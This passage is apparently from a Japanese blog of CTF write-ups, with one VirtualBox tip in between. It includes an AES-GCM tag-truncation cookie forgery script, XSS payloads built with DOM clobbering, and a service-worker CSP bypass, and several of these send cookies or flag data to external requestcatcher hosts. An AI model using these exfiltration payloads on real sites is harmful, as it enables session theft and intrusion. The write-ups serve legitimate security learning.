    $key = base64_decode("__REDACTED__");
    $auth = openssl_decrypt($encrypted_auth, $cipher, $key, $options = 0, $iv, $tag);
    $flag = "TSGCTF{__REDACTED__}";
    if ($auth == "admin") {
        $msg = "Hello admin! Password is here.\n" . $flag . "\n";
    } else if ($auth == "guest") {
        $msg = "Hello guest! Only admin can get flag.";
    } else if ($auth == "") {
        $msg = "I know you rewrote cookies!";
    } else {
        $msg = "Hello stranger! Only admin can get flag.";
    }
} else {
    header("Location: index.php");
}
?>

このopenssl_decryptにはタグの長さを検証しないという問題(その責任は呼び出し側にあるという形で決着している?)がある。
詳しくは以下を参照するといい。
AES-GCMモード | 調査研究/ブログ | 三井物産セキュアディレクション株式会社

これは何かというとtag長の検証をしてないので、タグの末尾を削っても検証に成功してしまう。
つまり、tagがJ1edF6M%3Dであった場合、27 57 9d 17 a3ということなので、
末尾を削って27だけにした場合のJw%3D%3Dをtagとして提出しても検証が通るということである。
これの何がいいかというと
「任意の検証についてtagを0x00から0xffまで全探索すればどれかは検証が通り、256通りくらいなら総当たりとして現実的」
という部分である。

これで任意の検証を突破することができたので、後はguestの暗号化をadminに変換するだけだが、これはAES-GCMを理解していれば難しくない。
単にencoded XOR 'guest' XOR 'admin'とするとadminを暗号化したtagを取得することができる。
GCMモードの暗号化部分はCTRモードで動くので、encoded_{guest} = 'guest' XOR encrypt(疑似乱数)であり、encoded_{admin} = 'admin' XOR encrypt(疑似乱数)なので、両辺XORして

encoded_{guest} XOR encoded_{admin} = 'guest' XOR encrypt(疑似乱数) XOR 'admin' XOR encrypt(疑似乱数)
encoded_{admin} = encoded_{guest} XOR 'guest' XOR 'admin' XOR encrypt(疑似乱数) XOR encrypt(疑似乱数)
encoded_{admin} = encoded_{guest} XOR 'guest' XOR 'admin'

という感じになる。
これでadminの暗号化も正しいものが作れて、かつ、検証も1byte分総当たりすれば突破できるため、adminの認証を突破することができフラグが手に入る。
exploitコードは以下のような形(お気持ち程度の0.1s waitを入れているが…)。

import requests
import base64
import urllib.parse
import time

from Crypto.Util.strxor import *
from Crypto.Util.number import *

#BASE = 'http://localhost:8080'
BASE = 'http://34.84.176.251:8080'

s = requests.Session()
s.post(BASE + '/', data={'auth':'guest'})
auth = s.cookies.get('auth')
tag = s.cookies.get('tag')
iv = s.cookies.get('iv')

new_auth = urllib.parse.quote(base64.b64encode(strxor(strxor(base64.b64decode(urllib.parse.unquote(auth)), b'guest'), b'admin')))

for b in range(256):
    time.sleep(0.1)
    new_tag = urllib.parse.quote(base64.b64encode(long_to_bytes(b)))
    r = requests.get(BASE + '/mypage.php', cookies={'auth': new_auth, 'tag': new_tag, 'iv': iv}).text
    if 'I know you rewrote cookies!' not in r:
        print(r)
        print(new_auth)
        print(new_tag)
        print(iv)
        exit(0)

[web] Brainfxxk Challenge

XSSしてcookieを抜き取る問題。
/brainfxxkrchallenge/app/views/show.ejsの以下部分でXSSできる。

<pre><code><%- code %></code></pre>

普通になんでも入れ込むことができるが、CSPが厳しく、そのままではcookieを抜くことはできない。

app.use((req, res, next) => {
    const cssFiles = ['https://unpkg.com/sakura.css@1.4.1/css/sakura.css']
    res.setHeader('Content-Security-Policy', `style-src 'self' ${cssFiles.join(' ')} ; script-src 'self' ; object-src 'none' ; font-src 'none'`)
    next()
})

script-src 'self'になっているのでサイトの何処かでjavascriptを生成してscriptタグで読み込めばいいのだが、ちょうどそれに使えそうな/minifyというエンドポイントがある。

app.get('/minify', (req, res) => {
    const code = req.query.code ?? ''
    res.send(code.replaceAll(/[^><+\-=r\[\]]/g, ''))
})

単純に><+-=r[]しか使えない。
よって、この問題は><+-=r[]だけを使ったjavascriptコードを生成してcookieを抜く問題となる。

"r"とDOM Clobbering

jjencodeとかJSF**kとか死ぬほど調べたが、純粋にこの文字制限だけでjavascriptを構築するのは難しかった。
今回なぜrだけが使えるのかという所に発想を飛ばすと、XSS部分で任意の入力を入れることができるのでDOM Clobberingが使えそうなことに気が付く。
これはフィルタリング回避にとても使えそうではある。

最終的に作りたい形は以下のような形である。

**HTML側**
</code></pre>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
location = "https://[yours].requestcatcher.com/" + document.cookie

だが、locationもdocumentもそのままかけないので何とかする必要があるが、ここで唯一rだけ使えることを活用する。

**HTML側**
</code></pre>
<img name=r \>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r.parentNode.parentNode.parentNode.location = "https://[yours].requestcatcher.com/" + r.parentNode.parentNode.parentNode.cookie

imgタグをrとして宣言して読み込めるようにしておくと、そのタグ経由でdocumentを取得することができる。
そこからlocationとcookieを参照するようにすれば、r経由で呼び出すことができるようになった。
これで何がいいのかという話だが、プロパティの呼び出しはドットだけでなく配列のようにも呼べるので、

**HTML側**
</code></pre>
<img name=r \>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r["parentNode"]["parentNode"]["parentNode"]["location"]="https://[yours].requestcatcher.com/"+r["parentNode"]["parentNode"]["parentNode"]["cookie"]

このように書くことができる。
この状態で制約と見比べてみると文字列以外は条件にマッチしている状態にすることができる。
r[文字列][文字列][文字列][文字列]=文字列+r[文字列][文字列][文字列][文字列]
なので、後は条件下で文字列を入れ込む方法を確立すれば全て条件を満たすようにすることができる。

これもDOM Clobberingを活用する。inputタグを使ったやり方を使ってみよう。
<input id="rrrrrrr" value="parentNode">のように書くと、rrrrrrr["value"]がparentNodeのようになってくれる。

**HTML側**
</code></pre>
<img name=r \>
<input id="rrrrrrr" value="parentNode">
<input id="rrrrrrrr" value="location">
<input id="rrrrrrrrr" value="https://[yours].requestcatcher.com/test?">
<input id="rrrrrrrrrr" value="cookie">
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r[rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrrr["value"]]=rrrrrrrrr["value"]+r[rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrrrrr["value"]]

これで後は何とかして"value"を作り出すことができれば、ゴール!
valueもDOM Clobberingで持ってくる。以下のように1文字ずつ持ってこれるように用意する。

<a href="vid:" id="rr"></a>
<a href="aid:" id="rrr"></a>
<a href="lid:" id="rrrr"></a>
<a href="uid:" id="rrrrr"></a>
<a href="eid:" id="rrrrrr"></a>

これで色々実験して先頭だけ持ってこれるようにする。

> rr
<a href=​"vid:​" id=​"rr">​</a>​
> rr+[]
'vid:'
> [rr+[]]
['vid:']
> +[]
0
> [rr+[]][0]
'vid:'
> [rr+[]][+[]]
'vid:'
> [rr+[]][+[]][0]
'v'
> [rr+[]][+[]][+[]]
'v'

+[]が0になることを利用したり、色々頑張ると[rr+[]][+[]][+[]]で先頭だけを取得できvが得られる。
あとは同様にそれぞれ先頭を持ってきて+を結合してやるとvalue
[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]
と表現することができる。

これで全部の準備が整ったので、最終的なjavascriptコードは以下のようになる。

r[rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]]=rrrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]+r[rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]]

これをscriptタグで持ってくるようにして、以下のcodeを報告してやればフラグが得られる。

</code></pre>

<img name=r \>
<a href="vid:" id="rr"></a>
<a href="aid:" id="rrr"></a>
<a href="lid:" id="rrrr"></a>
<a href="uid:" id="rrrrr"></a>
<a href="eid:" id="rrrrrr"></a>

<input id="rrrrrrr" value="parentNode">
<input id="rrrrrrrr" value="location">
<input id="rrrrrrrrr" value="https://[yours].requestcatcher.com/test?">
<input id="rrrrrrrrrr" value="cookie">

<script src="http://server:37291/minify?code=r%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%3Drrrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%2Br%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D"></script>

<pre><code>

[crypto] Unique Flag

順番に計算して次のものを特定していく。
以下のようなコードを使いながら候補が複数でたら寄りユニークな方を選んでいくとフラグが手に入る。

from Crypto.Util.number import getPrime
import string

N = [output.txtから持ってくる]
e = 65537
clues = {[output.txtから持ってくる]}

def calc(a, b):
    x = pow(a.encode()[0], e, N)
    y = pow(b.encode()[0], e, N)
    return x * y % N

flag = "TSGCTF{OK,IsTHi5A_un1qUe"
for i in range(len(flag)-1):
    clues.discard(calc(flag[i], flag[i + 1]))
for i in range(len(flag)-1, 32):
    cand = []
    for nxt in string.printable:
        if calc(flag[i], nxt) in clues:
            cand.append(nxt)
    if len(cand) == 1:
        flag += cand[0]
        clues.discard(calc(flag[i], cand[0]))
        print(f'{flag}')
    elif 1 < len(cand):
        print('Choose one')
        for nxt in cand:
            print(f'{flag}{nxt}')

VirtualBox上のGuest OSで時刻変更後、しばらくすると元に戻ってしまうとき [Linux, Windows]

原因特定に時間がかかってしまったので書いておく。

事象

VirtualBox上でKali Linuxを動かしていて、NTP経由で時刻を変更する用事があったのでやったのだが、数秒すると元に戻ってしまう現象が起きた。
何か別のNTPサーバと同期するデーモンとかが動いているかと思ったがそうではなかった。

$ date 
Fri Nov  3 02:49:34 PM GMT 2023

$ sudo rdate -n $NTP_SRV && date
Fri Nov  3 21:49:44 GMT 2023
Fri Nov  3 09:49:45 PM GMT 2023

$ date
Fri Nov  3 09:49:47 PM GMT 2023

$ date
Fri Nov  3 02:49:59 PM GMT 2023

原因

VirtualBoxによるTime Synchronizationが働いているため。これはゲスト側を漁っても原因が分からない。
公式マニュアルのこの部分に記載があって、更新頻度のデフォルトは10秒ごと。発生事象の状況とも合致する。

解決

「原因」で紹介した章の最後にあるコマンドを実行し、Time Synchronizationを切ればリセットされなくなる。
つまり、ホストがWindowsである状況ならば、以下のようにやれば解決する。

  1. コマンドプロンプトを起動する
  2. cd "C:\Program Files\Oracle\VirtualBox"
  3. VBoxManage setextradata "[VM-name]" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1[VM-name]は同期を切りたいVM名にする)
  4. VMを再起動する

SECCON CTF 2023 Quals Writeup

ArkさんとSatoooonさんのweb問回。面白くないはずがない。

[web] SimpleCalc

構成はシンプルで、以下のような形になっている。

  • GET / 任意のjavascriptコードを実行可能なページ
  • GET /js/index.js /が使っているjavascriptコード。URLのgetパラメタexprに書かれたjavascriptコードをevalで実行して結果を返すコードが入っている
  • GET /flag Cookieのtokenに管理者トークンを入れて、X-FLAGというHTTPリクエストヘッダーをつけてGETリクエストするとフラグが手に入る
  • POST /report 管理者BOTに任意のjavascriptコードを実行させることができる。

つまり、POST /reportで管理者に任意のjavascriptコードを実行させ、GET /flagCookie有+X-FLAGヘッダー有のリクエストの結果を抜き取るのがゴール。

CSPとカスタムヘッダー

この問題での一番の問題点はCSP+カスタムヘッダーである。

app.use((req, res, next) => {
  const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
  res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  next();
});

このようにCSPがかかっており、読み込みやリクエストの送信先として/js/index.jsしか使えないようになっている。
これに伴って解決するのが難しくなるのがX-FLAGカスタムヘッダー部分となる。
fetchやXMLHttpRequestを使えばカスタムヘッダーを設定したリクエストができるのだが、CSPによって/flagに対してリクエストを投げることはできないため、
どうやってカスタムヘッダーを投げるかが問題となる。

req.hostnameがCSP構築に使われているので、その辺をうまく使って何とかするのか…と考えたがうまくいかなかった。
いつもはこの辺でまあいいかとあきらめてしまうのだが、今回はチーム戦なので考え続けていた。
ここから3時間強頭を打ち付けて発想をひねり出すことに…

"index.js"

こういう天啓があり考えていくとService Workerのアイデアが出る。
色々試すとそれっぽく動いている感じがあり、ひたすら深堀していた。
Service Worker解法の格闘途中、チームに誘ってくれた@melonattackerさんの以下のコメントが自分のアイデアの補強となった。

問題文のこの一文が気になる...
Note: Don't forget that the target host is localhost from the admin bot.

なるほど、今思えばこれはヒントだったのか。
今回の問題はindex.jsをService Workerとして登録し、CSPを無効化することで解くことができる。
解法の大枠は以下の資料にあるものと全く同じで、最終的なPoCも以下スライドのコードを一部写経している。
以下の資料の1. SWがCSPを削除してレンダラーに返すパターンを読むと以降の解説がスムーズに読めるかもしれない。
CSPを無意味にする残念なServiceWorker | ドクセル

Service Worker解法

Service Workerとは何か、どういう攻撃ができるのか、みたいな所はページ末尾に類題とともに置いておくので気になる方は参照してください。
Service Worker解法では、/js/index.jsをService Workerとして登録して、サイトを書き換えることでCSPを無効化するという方針で解く。
まず、/js/index.jsをService Workerとして登録できるのかという部分については、以下の条件を満たす必要がある。参考

/js/index.jsはこれをすべて満たしているため、navigator.serviceWorker.register("js/index.js");のようにやればserviceWorkerとしてjs/index.jsを登録することができる。
/js/index.jsの中身は以下のような感じ。

const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();

これがService Workerとして実行されるときに、GETパラメタexprをevalに投げて実行する機能が役に立つ。
ServiceWorker登録時にexprを指定してnavigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent([jscode]));とすることで
Service Workerの中身で任意のjsコードを動かすようにできる。
試しに以下のコードを動かしてみよう。

let payload = "";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

documentが無いとエラーが出る。
index.jsのdocument.getElementById('result').innerText = result.toString();でService Worker上ではdocumentにアクセスできない(DOM操作できない)のでエラーになって止まる。
適当に用意して、エラーにならないようにする。以下のようにしてみよう。

let payload = "";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

うまく登録できましたね。
よく見るとhttp://localhost:3000/js/に対して登録されている。
これはService Workerの影響範囲の仕様で、別途の設定無しでは、登録したjavascriptファイルの階層以下にしか影響を与えられないため。
なので、Service Workerの動作確認は/js/index.jsを使ってやっていこう。以下のようにリクエスト/レスポンス書き換えをやってみる。
内容としては、これの写経。

let jscode = 'alert(document.domain);';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これを動かした後にGET /js/index.jsへアクセスするとレスポンスが書き換えられalertがpopする。

歓喜の瞬間。ここまでくればほぼ解けたようなもの。
レスポンスのCSPヘッダーの削除してあるので後は持ってくるだけ。

let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これで登録して、GET /js/index.jsすればフラグがrequestcatcherに降ってくる。ok.
最終的なペイロードは以下のようになった。
新しいタブを開いてService Workerを登録させて、元のページを使ってGET /js/index.jsを踏ませる。

const registerPayload = `
let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));
`;
const originURL = 'http://localhost:3000';
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    /* 1. register SW */
    window.open(originURL + '/?expr=' + encodeURIComponent(registerPayload), '');
    await sleep(500);
    /* 2. trigger XSS */
    location = originURL + '/js/index.js';
}, 0);

431エラー解法

今から追って勉強する予定なのですが、431エラーを誘発させてCSPを消すテクがあるっぽいです。
Discordの深淵に潜って真相を確かめてきます。

補足1: まとめ

チームONsenで参加していました!
誘っていただいた@melonattackerさんと、チームメンバーの方々感謝です!楽しかった!

補足2: Service Worker 資料

過去色々出題されています。とりあえず手元にある類題メモも放出しておきます。

PatriotCTF 2023 Writeup

[forensics] Unsupported Format

jpgファイルが与えられるが破損しているので修復する問題。
バイナリエディタで眺めると0x100付近にJFIFという文字が見える。
通常jpegファイルの先頭周りについている文字列なのだが、ちゃんと開くjpegファイルと比較しても違和感がある。
先頭が違う?と思い、適当にforemost -v Flag.jpgでfile carvingしなおすと開けるjpegファイルが抽出でき、
フラグが書いてある。

[forensics] Congratulations

docmファイルが与えられる。
oleidで見てみるが、特に気になる部分はない。
zipに拡張子を変えて解凍してみる。
word/media/image1.pngを見るとDocuSignを騙ったフィッシングドキュメントでBECを想定しているっぽい。
word/vbaProject.binがあり、マクロが埋め込まれていた。(oleid教えてくれないのね)
olevbaで中身を見てみよう。
olevba -c /vbaProject.binで抽出可能。

Dim x51 As String
    Dim x49 As String

    x51 = "C:\Program Files\Internet Explorer\iexplore.exe"

    Dim x50 As Integer
    Dim x47 As Double
    For x50 = 1 To 100
        x47 = Sqr(x50) * 2 + 5 / x50
    Next x50

    MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg"

    x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

    Shell x51 & " " & x49, vbNormalFocus

    Application.Wait Now + TimeValue("00:00:02")

    MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds"

    Dim x45(1 To 10) As Integer
    Dim x46 As Integer
    For x50 = 1 To 10
        x46 = Int((100 - 1 + 1) * Rnd + 1)
        x45(x50) = x46
    Next x50

    Dim x52 As Integer
    Dim x53 As Integer
    For x50 = 1 To 9
        For x53 = x50 + 1 To 10
            If x45(x50) > x45(x53) Then
                x52 = x45(x50)
                x45(x50) = x45(x53)
                x45(x53) = x52
            End If
        Next x53
    Next x50

    Dim x54 As String
    For x50 = 1 To 10
        x54 = x54 & x45(x50) & ", "
    Next x50
    MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC"

    Dim x55 As Worksheet
    Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count))
    x55.Name = "TtrZ4"
    Dim x56 As ChartObject
    Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200)

    Dim x57 As Range
    Set x57 = x55.Range("A1:B5")
    x57.Value = Application.WorksheetFunction.RandBetween(1, 100)
    x56.Chart.SetSourceData Source:=x57
    x56.Chart.ChartType = xlColumnClustered

    Exit Sub

ErrorHandler:
    MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b"
End Sub

色々書いてあるが、以下を返還するとフラグになっていた。

x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

[forensics] Capybara

jpegファイルが与えられる。
色々試すとbinwalkでFile Carvningすることでaudio.wavというファイルが得られる。

$ binwalk -e capybara.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
151174        0x24E86         Zip archive data, at least v2.0 to extract, compressed size: 6902, uncompressed size: 919160, name: audio.wav
158170        0x269DA         End of Zip archive, footer length: 22

音を聞くとモールス信号なので、https://morsecode.world/international/decoder/audio-decoder-adaptive.html
あたりを使ってデコードする。
結果にブレがあるのでうまく何回か試して結果を調整しながら使うと、hex stringsが得られ、hex to asciiでデコードすると
フラグが得られる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NTA0MzU0NDY3QjY0MzA1Rjc5MzA1NTVGNkI0RTMwNTc1RjY4MzA1NzVGNzQzMDVGNTIzMzM0NDQ1RjZEMzA3MjM1MzM1RjQzMzA2NDMzM0Y3RA

[web] Scavenger Hunt

ソースコード無し。
フラグがページのあちこちに散らばってるので探して持ってくる問題。
Burp Suiteで開いて巡回して、ソースコード確認して、みたいな流れを繰り返して拾っていくといい。

  1. GET / -> Flag 1/5 - PCTF{Hunt
  2. GET /ソースコード -> <!-- Flag 2/5 - 3r5_4n -->
  3. GET /robots.txt (これだけ推測で頑張るしかない) -> # Flag 3/5 - D_g4tH3
  4. GET /script1.js -> console.log("Flag 4/5 - R5_e49");
  5. GET /script2.js -> document.cookie = "Flag 5/5=e4a541}";

[web] Checkmate

ユーザー名パスワードを入れるサイトが与えられる。
以下のようにjavascriptでクライアント側で検証実施している。
nameは以下のように検証している。

function checkName(name){

    var check  = name.split("").reverse().join("");
    return check === "uyjnimda" ? !0 : !1;
}

反転してuyjnimdaと比較しているので、adminjyuとすればいい。
passwordは以下のORで判定している。

function checkLength(pwd){
     return (password.length % 6 === 0 )? !0:!1;
    }
function checkValidity(password){
    const arr = Array.from(password).map(ok);
    function ok(e){
        if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){
        return e.charCodeAt(0);
    }}

    let sum = 0;
    for (let i = 0; i < arr.length; i+=6){
        var add = arr[i] & arr[i + 2]; 
        var or = arr[i + 1] | arr[i + 4]; 
        var xor = arr[i + 3] ^ arr[i + 5];
